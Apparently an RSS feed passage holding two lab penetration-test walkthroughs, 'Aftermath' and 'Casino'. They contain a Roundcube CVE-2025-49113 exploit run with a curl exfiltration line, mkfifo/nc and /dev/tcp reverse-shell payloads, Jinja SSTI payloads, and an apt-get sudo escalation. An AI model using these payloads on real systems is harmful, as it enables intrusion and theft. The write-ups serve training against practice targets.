            <atom:updated>2026-09-12T04:24:41.671Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objective</h3><p>You have been assigned a penetration test against a Linux server in the client’s network. Your objective is to gain root access. The client has planted three flags on the system, retrieving each of these flags demonstrates impact.</p><pre>10.1.255.76  | aftermath.hsm</pre><h4>Enumeration</h4><h4>Running Rustscan</h4><p>We run nmap to collect the information about open ports</p><pre>22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 a4:f0:03:80:46:18:04:53:47:2e:bf:8d:c1:9e:66:26 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMgbbaMyJEYXgh7IT0kwHZ4vF+bNfXi/Qo6kzc+wldKmAOfdHNrt5kZd5lG51lsL975V0F4R7RVzHDVFJEZeWQk=<br>|   256 ed:38:36:53:81:bf:c3:15:a2:22:d8:cc:49:3c:63:3d (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPxf4Ttxig7FRpqQuFy9yStc+ajfdz52dxXC3rUwH2dL<br>25/tcp open  smtp    syn-ack ttl 62 Postfix smtpd<br>| ssl-cert: Subject: commonName=kali<br>| Subject Alternative Name: DNS:kali<br>| Issuer: commonName=kali<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-03-02T19:39:52<br>| Not valid after:  2036-02-28T19:39:52<br>| MD5:     25b2 9a20 c5a5 6087 df8f 476e b232 39c9<br>| SHA-1:   3452 1e8f 0af2 ce28 ca99 2a19 2dee 54dc b5aa a673<br>| SHA-256: 29b8 8b02 a633 cfb9 7523 0e9d 7d94 9b9f 9711 499e efcb 6c58 7a00 b6a8 35d1 1498<br>| -----BEGIN CERTIFICATE-----<br>| MIIC6TCCAdGgAwIBAgIUeaW7QnviaqxGa5HvkjnVU+GhQ9IwDQYJKoZIhvcNAQEL<br>| BQAwDzENMAsGA1UEAwwEa2FsaTAeFw0yNjAzMDIxOTM5NTJaFw0zNjAyMjgxOTM5<br>| NTJaMA8xDTALBgNVBAMMBGthbGkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK<br>| AoIBAQCrVQbb6jV/ft5z1U6pFdKJutmgAX1YJeASr5z0ilBFDiRSTgugKAvcmyCt<br>| uzE0RY6Gzd4xwuZvh3ltmoXKBq11WnD2U5pYQENaPEPeJ7oFfT9+Uad780rXrmR7<br>| fhNtpDrZjSoshA06uF4xDgI5p2HcWCD5hINmfqbjzq1OBEtW8G3MvZd/snmGOn2v<br>| QpZ9uj1tUyRT55VvRohdDS+K7szLcrs9iRpqog77+N4aIC8tCZxi1h2oar+GHJR+<br>| r6N3J85XVyOUzZPPcRdNBtbUuGEedQxGrDY4ZAuSKawWJVOG+1V3uBA1bRAjdJJl<br>| w6aUpoxkuAAiwkdaSXmzRggkYMKLAgMBAAGjPTA7MAkGA1UdEwQCMAAwDwYDVR0R<br>| BAgwBoIEa2FsaTAdBgNVHQ4EFgQUBhinmATeQCMbrSPjOEO54MeSTwQwDQYJKoZI<br>| hvcNAQELBQADggEBAJ+zdoifzuC1RIQGsY3xvQVRzS4FwTQ4IHiyfULomrTVCNoB<br>| +Lwc0OjBGRZqPdMo/Defbb7x/eSV4X2WXC3b15jhpkY++Y7BXq6In3SKpiAPySCW<br>| k1bYokHYNb19xjLEZPEjeXGB2zm+ikjOZ2pAufdIfqFFU1vqwlf9b/WEm5g6/p+t<br>| KZF9k99LMjXo1SYCnlZXiowI6XrEIN2sBZaYcRCeIGa1pHgBxc+WQ2S5Xiy8JPtQ<br>| cFAFpi/I0cnLsYsF8C0CG5xCWRddbpz6pX0vdujUvF5KGTyCycTPEWtVFbrWi4I3<br>| bapnWexZWBnOeKdfmSWNgFSQ+/AXhp0vD+SjUqg=<br>|_-----END CERTIFICATE-----<br>|_ssl-date: TLS randomness does not represent time<br>|_smtp-commands: kali, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING<br>80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.52 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: OPTIONS HEAD GET POST<br>|_http-title: Home<br>|_http-server-header: Apache/2.4.52 (Ubuntu)</pre><p>We find an unusual port open which is port 25 (SMTP) so the way might be to dig on it but more on that later.</p><p>We found port 80 opened</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIjQ7qe7j9_K4xqo49U_KQ.png" /></figure><h4>Perform Directory brute-force</h4><pre>dirsearch -u http://aftermath.hsm<br>/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html<br>  from pkg_resources import DistributionNotFound, VersionConflict<br><br>  _|. _ _  _  _  _ _|_    v0.4.3<br> (_||| _) (/_(_|| (_| )<br><br>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460<br><br>Output File: /home/kali/Documents/hacksmarter/aftermath/reports/http_aftermath.hsm/_26-09-11_22-34-07.txt<br><br>Target: http://aftermath.hsm/<br><br>[22:34:07] Starting: <br>[22:34:20] 403 -  278B  - /.ht_wsr.txt                                      <br>[22:34:20] 403 -  278B  - /.htaccess.bak1                                   <br>[22:34:20] 403 -  278B  - /.htaccess.sample                                 <br>[22:34:20] 403 -  278B  - /.htaccess_orig<br>[22:34:20] 403 -  278B  - /.htaccessOLD2<br>[22:34:20] 403 -  278B  - /.htaccess_sc                                     <br>[22:34:20] 403 -  278B  - /.htaccessBAK<br>[22:34:20] 403 -  278B  - /.htaccess.orig<br>[22:34:20] 403 -  278B  - /.htaccess.save<br>[22:34:20] 403 -  278B  - /.htaccessOLD<br>[22:34:20] 403 -  278B  - /.htaccess_extra<br>[22:34:20] 403 -  278B  - /.htm<br>[22:34:20] 403 -  278B  - /.html                                            <br>[22:34:20] 403 -  278B  - /.htpasswd_test                                   <br>[22:34:20] 403 -  278B  - /.httr-oauth                                      <br>[22:34:20] 403 -  278B  - /.htpasswds                                       <br>[22:34:24] 403 -  278B  - /.php                                             <br>[22:36:17] 200 -    5KB - /roundcube/index.php                              <br>[22:36:18] 403 -  278B  - /server-status/                                   <br>[22:36:18] 403 -  278B  - /server-status                                    <br>                                                                             <br>Task Completed </pre><p>We found an interesting end point which is /roundcube</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*AkieaHKiHpbJJOVOdOaNMg.png" /></figure><p>- To be able to login we have to enumerate on user names and password. We can start with usernames by using a script to identify SMTP users which will match with the roundcube instance.</p><h4>Found user</h4><p>Using the pentestmoney smtp-enum tool <a href="https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum">https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum</a></p><pre>./smtp-user-enum.pl -M VRFY -U ../names.txt -t 10.1.255.76<br>Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )<br><br> ----------------------------------------------------------<br>|                   Scan Information                       |<br> ----------------------------------------------------------<br><br>Mode ..................... VRFY<br>Worker Processes ......... 5<br>Usernames file ........... ../names.txt<br>Target count ............. 1<br>Username count ........... 499<br>Target TCP port .......... 25<br>Query timeout ............ 5 secs<br>Target domain ............ <br><br>######## Scan started at Fri Sep 11 22:46:35 2026 #########<br>10.1.255.76: maria exists<br>10.1.255.76: kali exists<br>######## Scan completed at Fri Sep 11 22:48:29 2026 #########<br>2 results.<br><br>499 queries in 114 seconds (4.4 queries / sec)</pre><p>- We found 2 users which maria and kali<br>- Next thing is to find a try a brute-force for user maria or kali with this tool</p><p><a href="https://github.com/robotshell/cubeSpraying/blob/main/cubeSpraying.py">https://github.com/robotshell/cubeSpraying/blob/main/cubeSpraying.py</a></p><p>Didn’t succeed with this script move old style :) and did it manual spraying and got the hit with</p><pre>maria:1qaz2wsx</pre><h4>Email Flag</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LmEsgUo7SP_MUz6MJy2q4w.png" /></figure><h4>RCE as Maria</h4><p>When we try a basic ssh login with our maria’s credential we are blocked because we need the public key</p><pre>ssh maria@aftermath.hsm                              <br>The authenticity of host &#39;aftermath.hsm (10.1.255.76)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:R/StPRfknLFY8lHlMGCWgjb34+DNGFIAvY54xfHUHrs<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;aftermath.hsm&#39; (ED25519) to the list of known hosts.<br>maria@aftermath.hsm: Permission denied (publickey).</pre><p>When we enumerate the platform we notice the version in the about to be 1.59.0 and it is known to have vulnerabilities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*q98MmqFMadxHvRqQfgflCQ.png" /></figure><p>found an exploit at</p><p><a href="https://github.com/hakaioffsec/CVE-2025-49113-exploit">https://github.com/hakaioffsec/CVE-2025-49113-exploit</a></p><p>Poc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFsrpcUznCbWsIAsi4p4hQ.png" /></figure><h4>User Flag</h4><pre>php CVE-2025-49113.php http://aftermath.hsm/roundcube/ maria 1qaz2wsx &#39;curl http://10.200.93.236/$(cat$IFS/usr/user.txt|base64 -w0)&#39;<br>[+] Starting exploit (CVE-2025-49113)...<br>[*] Checking Roundcube version...<br>[*] Detected Roundcube version: 10509<br>[+] Target is vulnerable!<br>[+] Login successful!<br>[*] Exploiting...<br>[+] Gadget uploaded successfully!</pre><ul><li>On our web server</li></ul><pre>python -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.1.255.76 - - [11/Sep/2026 23:36:21] code 404, message File not found<br>10.1.255.76 - - [11/Sep/2026 23:36:21] &quot;GET /dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK HTTP/1.1&quot; 404 -<br>id<br>10.1.255.76 - - [11/Sep/2026 23:38:03] &quot;GET / HTTP/1.1&quot; 200 -<br>10.1.255.76 - - [11/Sep/2026 23:38:17] &quot;GET / HTTP/1.1&quot; 200 -<br>10.1.255.76 - - [11/Sep/2026 23:38:36] code 404, message File not found<br>10.1.255.76 - - [11/Sep/2026 23:38:36] &quot;GET /dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK HTTP/1.1&quot; 404 -<br>10.1.255.76 - - [11/Sep/2026 23:39:31] code 404, message File not found<br>10.1.255.76 - - [11/Sep/2026 23:39:31] &quot;GET /Zmx..SNIP..ZX0K HTTP/1.1&quot; 404 -</pre><h4>Reverse Shell as Maria</h4><ul><li>Lunch listener</li></ul><pre>nc -lvnp 1337     <br>listening on [any] 1337 .</pre><ul><li>Lunch payload</li></ul><pre>php CVE-2025-49113.php http://aftermath.hsm/roundcube/ maria 1qaz2wsx &#39;curl http://10.200.93.236/$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.200.93.236 1337 &gt;/tmp/f|base64 -w0)&#39;<br>[+] Starting exploit (CVE-2025-49113)...<br>[*] Checking Roundcube version...<br>[*] Detected Roundcube version: 10509<br>[+] Target is vulnerable!<br>[+] Login successful!<br>[*] Exploiting...</pre><ul><li>Confirming reverse shell</li></ul><pre>nc -lvnp 1337     <br>listening on [any] 1337 ...<br>id<br>connect to [10.200.93.236] from (UNKNOWN) [10.1.255.76] 41874<br>sh: 0: can&#39;t access tty; job control turned off<br>$ uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>$ </pre><h4>Getting root</h4><p>Start by getting lay of the land our privileges and kaboom we have some juicy info with sudo -l</p><pre>www-data@kali:/$ sudo -l<br>Matching Defaults entries for www-data on kali:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty<br><br>User www-data may run the following commands on kali:<br>    (ALL) NOPASSWD: /usr/bin/apt-get</pre><p>We visit GTFOBins to exploit this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*uTNbblG_hnN_tXtbAKUM8Q.png" /></figure><blockquote>apt-get update -o APT::Update::Pre-Invoke::=/bin/sh</blockquote><ul><li>We have</li></ul><pre>www-data@kali:/$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh<br># id;whoami<br>uid=0(root) gid=0(root) groups=0(root)<br>root<br># </pre><h4>Root Flag</h4><pre># cat /root/root.txt<br>flag{..SNIP..}</pre><p>Thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a0cdff32204" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Casino]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/casino-2ba86cfb40e0?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ba86cfb40e0</guid>
            <category><![CDATA[linux-hacking]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Mon, 24 Aug 2026 07:02:13 GMT</pubDate>
            <atom:updated>2026-08-24T07:02:13.862Z</atom:updated>
            <content:encoded><![CDATA[<pre>10.1.227.145   :  casino.hsmb</pre><h4>Objective</h4><p>Las Vegas is gearing up for a massive cybersecurity conference, and you’ve been hired to conduct a penetration test against one of the casinos. The client — Hack Smarter World — is a luxury resort where many of the attendees will be staying. Your objective is to identify all vulnerabilities and elevate your privileges to root (if possible).</p><h3>Enumeration</h3><pre>PORT     STATE SERVICE REASON         VERSION<br>22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 ff:00:5f:4b:22:1a:bc:14:04:1e:b0:c8:28:0b:1d:27 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBlh7JYxniwl5mz0tukKNfOUnog4T2xTZMapLc5vgFXe6YEtzzn3EuecS3DDHUs2OsDOJWl37hwOjXmSMuC0rw4=<br>|   256 09:aa:76:23:5a:a1:9d:de:e8:75:f2:f9:ec:fa:1e:63 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKtbW95jPqgqShdmfAXqRXxdm2ZxaJyZ3BcEiZQ/8scW<br>80/tcp   open  http    syn-ack ttl 61 Werkzeug httpd 3.1.8 (Python 3.10.18)<br>| http-title: Hack Smarter World - Guest WiFi &amp; Portal<br>|_Requested resource was /login<br>|_http-server-header: Werkzeug/3.1.8 Python/3.10.18<br>| http-methods: <br>|_  Supported Methods: GET HEAD OPTIONS<br>2222/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 7d:c5:f5:ba:03:3e:f0:76:5c:9d:47:b6:39:b5:c7:a4 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPPaacRdmjYRrc09e1YOHq8B6HlcsfF9389BldErXZCbOyMVNJEKU4p26qJiI2D3EFCWib/O9xWcWq9OTzNwoj/ejaFm7Kr4m/boJJLBbXxU6jJFRT5JNjnEHqE95c8YY0yVFs1CmIV4KoNCOYdPnIeQ5Exhhr0eAcAUrfOxQP2hcWQH13r4bDl1JTGCP336W5DShrTPWyFir3gVaf3YxvbgyCaY/RZKR38/W4H9ieBP9nm7hf4/00cnSqky8i1aqKxNyHgjKbwsdADfJUoXoTJ+P9P36C9/ZN5TVJAGMfRDUVnq6e0PAeKI+1cmk2cZ/HmTZO9Z7O5Ke+4pmI67Aj5X8tDpAYwX1Qxn4hStc3Bsk8MLtYx1ZwoOL+SXM83qO6F27jTlY+H5poNK7uH0/9GGUQDJpj9SydAIRtJePRv8GFKwb1V7OuFQvtX80LJs0h9LMA5yl+fXlYOiZzQGcGRzcyoxYNEq+XVsMbOo8ItXSmMe5iUTl4A9c6aArM9Bc=<br>|   256 ed:5d:fa:ea:74:a0:56:b1:39:59:fc:c5:22:1e:5e:bd (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOYXqo1SuDeYulTFW8dGh/ebvlk4lyYPHwhWKZvP8FVDlpWqPrkqCVEi4aqQF3NGXfcKnQ3WM3Rrcuu0/GveIRU=<br>|   256 50:31:d9:54:80:42:b8:44:cb:40:66:ea:cf:8f:cf:37 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIWMtXHyJjYnm4rmwcwMnUic9Cf+9LnaxFSfALdNAzb1<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete</pre><h3>Casino</h3><pre>10.1.227.145   :  casino.hsm</pre><p>Objective</p><p>Las Vegas is gearing up for a massive cybersecurity conference, and you’ve been hired to conduct a penetration test against one of the casinos. The client — Hack Smarter World — is a luxury resort where many of the attendees will be staying. Your objective is to identify all vulnerabilities and elevate your privileges to root (if possible).</p><h3>Enumeration</h3><pre>PORT     STATE SERVICE REASON         VERSION<br>22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 ff:00:5f:4b:22:1a:bc:14:04:1e:b0:c8:28:0b:1d:27 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBlh7JYxniwl5mz0tukKNfOUnog4T2xTZMapLc5vgFXe6YEtzzn3EuecS3DDHUs2OsDOJWl37hwOjXmSMuC0rw4=<br>|   256 09:aa:76:23:5a:a1:9d:de:e8:75:f2:f9:ec:fa:1e:63 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKtbW95jPqgqShdmfAXqRXxdm2ZxaJyZ3BcEiZQ/8scW<br>80/tcp   open  http    syn-ack ttl 61 Werkzeug httpd 3.1.8 (Python 3.10.18)<br>| http-title: Hack Smarter World - Guest WiFi &amp; Portal<br>|_Requested resource was /login<br>|_http-server-header: Werkzeug/3.1.8 Python/3.10.18<br>| http-methods: <br>|_  Supported Methods: GET HEAD OPTIONS<br>2222/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 7d:c5:f5:ba:03:3e:f0:76:5c:9d:47:b6:39:b5:c7:a4 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPPaacRdmjYRrc09e1YOHq8B6HlcsfF9389BldErXZCbOyMVNJEKU4p26qJiI2D3EFCWib/O9xWcWq9OTzNwoj/ejaFm7Kr4m/boJJLBbXxU6jJFRT5JNjnEHqE95c8YY0yVFs1CmIV4KoNCOYdPnIeQ5Exhhr0eAcAUrfOxQP2hcWQH13r4bDl1JTGCP336W5DShrTPWyFir3gVaf3YxvbgyCaY/RZKR38/W4H9ieBP9nm7hf4/00cnSqky8i1aqKxNyHgjKbwsdADfJUoXoTJ+P9P36C9/ZN5TVJAGMfRDUVnq6e0PAeKI+1cmk2cZ/HmTZO9Z7O5Ke+4pmI67Aj5X8tDpAYwX1Qxn4hStc3Bsk8MLtYx1ZwoOL+SXM83qO6F27jTlY+H5poNK7uH0/9GGUQDJpj9SydAIRtJePRv8GFKwb1V7OuFQvtX80LJs0h9LMA5yl+fXlYOiZzQGcGRzcyoxYNEq+XVsMbOo8ItXSmMe5iUTl4A9c6aArM9Bc=<br>|   256 ed:5d:fa:ea:74:a0:56:b1:39:59:fc:c5:22:1e:5e:bd (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOYXqo1SuDeYulTFW8dGh/ebvlk4lyYPHwhWKZvP8FVDlpWqPrkqCVEi4aqQF3NGXfcKnQ3WM3Rrcuu0/GveIRU=<br>|   256 50:31:d9:54:80:42:b8:44:cb:40:66:ea:cf:8f:cf:37 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIWMtXHyJjYnm4rmwcwMnUic9Cf+9LnaxFSfALdNAzb1<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete</pre><h4>SSH (22)</h4><p>Verifying if authentication is password base or key base</p><pre>ssh root@casino.hsm<br>The authenticity of host &#39;casino.hsm (10.1.227.145)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:hWxKW/bqTHZxWhFB3KiDl4Wa1r3ltZkTQEOrNPfbJ3E<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;casino.hsm&#39; (ED25519) to the list of known hosts.<br>root@casino.hsm: Permission denied (publickey).</pre><p>Password is key base so if we could get an ssh key will be useful.</p><h4>HTTP (80)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Deqz82k4OKSl7ObImtDDFg.png" /></figure><p>Welcomed with a login page.</p><h3>Directory bruteforce</h3><pre>feroxbuster -u &#39;http://casino.hsm/&#39; -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt <br>                                                                                                                                                           <br> ___  ___  __   __     __      __         __   ___<br>|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__<br>|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___<br>by Ben &quot;epi&quot; Risher 🤓                 ver: 2.13.1<br>───────────────────────────┬──────────────────────<br> &lt;SNIP&gt;<br>404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>200      GET       99l      351w     4778c http://casino.hsm/login<br>302      GET        5l       22w      199c http://casino.hsm/ =&gt; http://casino.hsm/login<br>302      GET        5l       22w      199c http://casino.hsm/profile =&gt; http://casino.hsm/login<br>200      GET       39l       84w      788c http://casino.hsm/static/css/style.css<br>200      GET        2l        9w      171c http://casino.hsm/static/js/app.min.js<br>302      GET        5l       22w      199c http://casino.hsm/logout =&gt; http://casino.hsm/login<br>302      GET        5l       22w      199c http://casino.hsm/dashboard =&gt; http://casino.hsm/login<br>[#################&gt;--] - 3h    182997/207635  85m     found:7       errors:67087  <br>🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_casino_hsm_-1787526108.state ...<br>[#################&gt;--] - 3h    183009/207635  83m     found:7       errors:67100  <br>[#################&gt;--] - 3h    182996/207629  17/s    http://casino.hsm/ <br>[--------------------] - 0s         0/207629  -       http://casino.hsm/login <br>[--------------------] - 0s         0/207629  -       http://casino.hsm/static/css/style.css <br>[--------------------] - 0s         0/207629  -       http://casino.hsm/static/js/app.min.js  </pre><p>Following the interesting link <a href="http://casino.hsm/static/js/app.min.j">http://casino.hsm/static/js/app.min.j</a>s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pL6BJi6b-FnzfRF8WWrfCA.png" /></figure><p>After following the source we get file downloaded and when we open the file we get an interesting api call.</p><pre>{ <br> &quot;version&quot;: 3, <br> &quot;file&quot;: &quot;app.min.js&quot;, <br> &quot;sources&quot;: [&quot;src/api/roomVerification.js&quot;], <br> &quot;sourcesContent&quot;: [ <br>  &quot;// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch(&#39;/api/v1/rooms/status?status=occupied&#39;);\n return await res.json();\n}&quot;<br>  ]<br>}</pre><p>Calling the api to see the occupied rooms</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2bfiloCGkBdjY_SLvKX1w.png" /></figure><ul><li>Finding occupied rooms and guest names let’s try one guest</li></ul><h3>Enumerating Smith Dashboard</h3><pre>105: Smith</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F3IlRX-J5xx7oC2-bBBUEw.png" /></figure><h4>Profile vulnerable to xss</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5PHUNUzliXV82ZhFSqDcAw.png" /></figure><p>But we can’t really exploit it but cuz no other user will view our profile hence can connect another user cookies.</p><h4>Profile vulnerable to SSTI</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*VA2ujU2G6oFIio9_qbNwag.png" /></figure><pre>{{request.application.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;id&#39;).read()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-eV3EdH9gSQTASaBlc0NVA.png" /></figure><p>Payload confirms SSTI.</p><h4>Getting Reverse Shell</h4><pre>{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen(&#39;bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.200.84.146/1337 0&gt;&amp;1&quot;&#39;).read() }}</pre><p>We get a reverse shell.</p><pre>nc -lvnp 1337<br>listening on [any] 1337 ...<br>connect to [10.200.84.146] from (UNKNOWN) [10.1.227.145] 39350<br>bash: cannot set terminal process group (65): Inappropriate ioctl for device<br>bash: no job control in this shell<br>bash: /root/.bashrc: Permission denied<br>www-data@0fa9dfa48174:/app/app$ whoami &amp;&amp; id <br>whoami &amp;&amp; id <br>www-data<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>www-data@0fa9dfa48174:/app/app$</pre><h4>Post Exploitation</h4><pre>www-data@0fa9dfa48174:/app/app$ cd /home<br>www-data@0fa9dfa48174:/home$ ls -la<br>total 16<br>drwxr-xr-x 1 root   root   4096 Aug 24 05:50 .<br>drwxr-xr-x 1 root   root   4096 Aug 24 05:50 ..<br>drwxr-xr-x 2 david  david  4096 Aug 24 05:50 david<br>drwxr-xr-x 3 george george 4096 Aug 24 05:50 george<br>www-data@0fa9dfa48174:/home$ cd george/<br>www-data@0fa9dfa48174:/home/george$ ls <br>user.txt<br>www-data@0fa9dfa48174:/home/george$ cat user.txt <br>HSM{SNIP}<br>www-data@0fa9dfa48174:/home/george$ </pre><h4>Enumerating user george</h4><pre>cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>sshd:x:101:65534::/run/sshd:/usr/sbin/nologin<br>george:x:1000:1000::/home/george:/bin/bash<br>david:x:1001:1001::/home/david:/bin/bash<br>www-data@0fa9dfa48174:/home/george$ </pre><p>Confirming we only have two users george and david</p><p>Looking into history file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*qw-uemxxMB2LQpfvdWBihw.png" /></figure><p>We get possible david’s password</p><pre>david: DavidPass2026!#</pre><h4>Enumerating David</h4><pre>www-data@0fa9dfa48174:/home/george$ su david<br>Password: <br>david@0fa9dfa48174:/home/george$ whoami &amp;&amp; id<br>david<br>uid=1001(david) gid=1001(david) groups=1001(david),4(adm)</pre><p>David is member of an interesting group which is adm maybe with it we can have access to some juicy file.</p><pre>david@0fa9dfa48174:/var$ cd log<br>david@0fa9dfa48174:/var/log$ cat provisioning.log <br>2026-08-01 03:14:02 [INFO] Starting automated cluster provisioning for Hack Smarter World host node...<br>2026-08-01 03:14:15 [INFO] Configuring network interfaces eth0 (VLAN 402)...<br>2026-08-01 03:14:22 [INFO] Initializing MariaDB production instance...<br>2026-08-01 03:14:28 [INFO] Seeding resort guest database tables...<br>2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.<br>2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: R3s0rt_Sup3r_S3cr3t_R00t_2026!<br>2026-08-01 03:14:35 [INFO] Generating SSH host key certificates...<br>2026-08-01 03:14:45 [INFO] Deployment completed successfully.</pre><p>We find root password in the provisioning.log file .</p><h3>Confirming root password</h3><pre>david@0fa9dfa48174:/var/log$ su root<br>Password: <br>root@0fa9dfa48174:/var/log# whoami &amp;&amp; id <br>root<br>uid=0(root) gid=0(root) 